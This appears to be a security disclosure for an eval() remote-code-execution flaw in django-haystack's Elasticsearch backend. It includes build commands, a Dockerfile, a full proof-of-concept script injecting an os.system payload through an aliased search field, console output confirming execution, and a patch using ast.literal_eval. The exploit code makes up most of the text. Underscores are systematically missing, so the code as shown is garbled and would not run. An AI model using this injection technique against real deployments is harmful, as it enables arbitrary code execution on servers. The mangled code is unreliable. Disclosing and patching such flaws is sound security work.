converted value = eval(value)

for key, value in source.items():
  string key = str(key)

  if string key in index.fields and hasattr(index.fields[string key], "convert"):
    additional fields[string key] = index.fields[string key].convert(value)
  else:
    additional fields[string key] = self. to python(value)

# Build the proof-of-concept image
docker build -t vuln001-poc 
 -f /path/to/vuln-001/Dockerfile 
 /path/to/reports/pypiAi 436 django-haystack django-haystack/

# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-poc

FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
RUN SETUPTOOLS SCM PRETEND VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

# SearchField with index fieldname alias
class MockField:
  index fieldname = "name s"  # ES key
  def convert(self, value): return str(value)

class MockIndex:
  fields = {"name": MockField()}  # logical key — "name s" NOT present
  field map = {"name s": "name"}

# Malicious payload placed in the alias key of a crafted ES source response
MARKER FILE = "/tmp/django haystack eval rce proof"
payload = (
  f" import ('os').system("
  f"'echo PWNED BY EVAL RCE > {MARKER FILE}')"
)

raw results = {"hits": {"total": 1, "hits": [{
  " score": 1.0,
  " source": {
    "django ct": "app.model",
    "django id": "1",
    "name s": payload,  # alias key → lookup fails → eval()
  },
}]}}

backend. process results(raw results)
# Confirms RCE: /tmp/django haystack eval rce proof contains "PWNED BY EVAL RCE"

============================================================
VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend
============================================================
[*] Payload :  import ('os').system('echo PWNED BY EVAL RCE > /tmp/django haystack eval rce proof')
[*] Marker : /tmp/django haystack eval rce proof
[*] Sink  : elasticsearch backend.py:865 eval(value)

[+] SUCCESS: RCE CONFIRMED
[+] Marker file created: /tmp/django haystack eval rce proof
[+] File content: PWNED BY EVAL RCE

RESULT: PASS - VULN-001 is dynamically reproduced and exploitable

--- a/haystack/backends/elasticsearch backend.py
+++ b/haystack/backends/elasticsearch backend.py
-import re
+import ast
+import re
 
       index = source and unified index.get index(model)
+      index field map = index.field map
       for key, value in source.items():
         string key = str(key)
+        if string key in index field map:
+          string key = index field map[string key]
 
         if string key in index.fields and hasattr(
           index.fields[string key], "convert"
 
-      converted value = eval(value)
+      converted value = ast.literal eval(value)

FROM python:3.11-slim

WORKDIR /app

# Install build tools needed for setuptools scm
RUN pip install --no-cache-dir setuptools setuptools scm wheel

# Copy the django-haystack repository source
COPY repo/ /app/repo/

# Install Django and the elasticsearch client
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"

# Install django-haystack from the local repo (editable install)
# setuptools scm requires git metadata; use fallback version instead
RUN SETUPTOOLS SCM PRETEND VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

# Run the PoC by default
CMD ["python3", "/app/poc.py"]

"""
PoC for VULN-001: Arbitrary Code Execution via eval() in
ElasticsearchSearchBackend. process results (django-haystack)

Vulnerability:
  haystack/backends/elasticsearch backend.py:865 calls eval(value) on
  Elasticsearch source field values that do not match any entry in
  index.fields. This mismatch occurs when a SearchField uses
  index fieldname (alias) different from its logical field name: ES stores
  data under the alias, but the backend looks up fields by logical name,
  causing unmatched values to fall through to to python() -> eval().

Attack path:
  1. Attacker controls content that is indexed into Elasticsearch.
  2. The Django app has a SearchIndex field with index fieldname alias.
  3. ES stores the document under the alias key.
  4. On search, process results reads source where the alias key is NOT
    found in index.fields (which uses logical names).
  5. The value routes to to python(value) -> eval(value) -> RCE.

This PoC bypasses the need for a live Elasticsearch instance by directly
calling process results() with a crafted raw result dict.
"""

import os
import sys

# ---------------------------------------------------------------------------
# 1. Configure Django (no database required)
# ---------------------------------------------------------------------------
from django.conf import settings

if not settings.configured:
  settings.configure(
    SECRET KEY="poc-only-not-for-production",
    INSTALLED APPS=[
      "django.contrib.contenttypes",
      "django.contrib.auth",
      "haystack",
    ],
    HAYSTACK CONNECTIONS={
      "default": {
        "ENGINE": "haystack.backends.elasticsearch backend.ElasticsearchSearchEngine",
        "URL": "http://127.0.0.1:9200/",
        "INDEX NAME": "poc index",
      }
    },
    DATABASES={},
  )

import haystack
import haystack.backends.elasticsearch backend as esb

# ---------------------------------------------------------------------------
# 2. Mock objects to simulate the Haystack/ES environment
# ---------------------------------------------------------------------------

class MockField:
  """
  Simulates a SearchField declared with an index fieldname alias.
  Logical field name: "name"
  ES storage key (index fieldname): "name s"
  """
  index fieldname = "name s"

  def convert(self, value):
    return str(value)


class MockIndex:
  """
  Simulates a SearchIndex.
  fields: keyed by LOGICAL name ("name")
  field map: alias -> logical name (Solr uses this; ES backend does NOT)
  """
  fields = {
    "name": MockField(),
  }
  field map = {"name s": "name"}


class MockUnifiedIndex:
  document field = "text"

  def get indexed models(self):
    return [object]

  def get index(self, model):
    return MockIndex()


class MockConnection:
  def get unified index(self):
    return MockUnifiedIndex()


# Patch the global haystack connections registry so process results can
# look up the unified index without a real Elasticsearch connection.
haystack.connections = {"default": MockConnection()}

# Patch the model-lookup helper used inside process results.
# Returns `object` so the model is found and the result is processed.
esb.haystack get model = lambda app label, model name: object

# ---------------------------------------------------------------------------
# 3. Build the malicious payload
# ---------------------------------------------------------------------------
MARKER FILE = "/tmp/django haystack eval rce proof"

# os.system() returns the exit code (int). The isinstance(int) check in
# to python() passes, so eval() completes without raising, confirming
# full expression execution. The shell command writes the proof file.
payload = (
  f" import ('os').system("
  f"'echo PWNED BY EVAL RCE > {MARKER FILE}')"
)

# Crafted Elasticsearch raw response:
#  "name s" is the index fieldname alias stored in ES.
#  "name" is the logical field name present in index.fields.
#  Because "name s" != "name", the lookup fails and value goes to eval().
raw results = {
  "hits": {
    "total": 1,
    "hits": [
      {
        " score": 1.0,
        " source": {
          "django ct": "app.model",  # required sentinel field
          "django id": "1",      # required sentinel field
          "name s": payload,     # alias key -> eval() path
        },
      }
    ],
  }
}

# ---------------------------------------------------------------------------
# 4. Instantiate the backend without  init  (no live ES connection needed)
# ---------------------------------------------------------------------------
backend = esb.ElasticsearchSearchBackend. new (esb.ElasticsearchSearchBackend)
backend.connection alias = "default"
backend.include spelling = False

# ---------------------------------------------------------------------------
# 5. Trigger the vulnerability
# ---------------------------------------------------------------------------
print("=" * 60)
print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend")
print("=" * 60)
print(f"[*] Payload : {payload}")
print(f"[*] Marker : {MARKER FILE}")
print(f"[*] Sink  : elasticsearch backend.py:865 eval(value)")
print()

# Remove any leftover marker from a previous run
if os.path.exists(MARKER FILE):
  os.remove(MARKER FILE)

try:
  backend. process results(raw results)
except Exception as exc:
  # An exception here does not mean eval() was not called;
  # the side effect (file write) is the ground truth.
  print(f"[!] process results raised (checking side effects anyway): {exc}")

# ---------------------------------------------------------------------------
# 6. Verify the side effect
# ---------------------------------------------------------------------------
print()
if os.path.exists(MARKER FILE):
  content = open(MARKER FILE).read().strip()
  print("[+] SUCCESS: RCE CONFIRMED")
  print(f"[+] Marker file created: {MARKER FILE}")
  print(f"[+] File content: {content}")
  print()
  print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable")
  sys.exit(0)
else:
  print("[-] FAILURE: Marker file was not created")
  print("[-] eval() was not triggered or the payload did not execute")
  print()
  print("RESULT: FAIL - RCE could not be confirmed")
  sys.exit(1)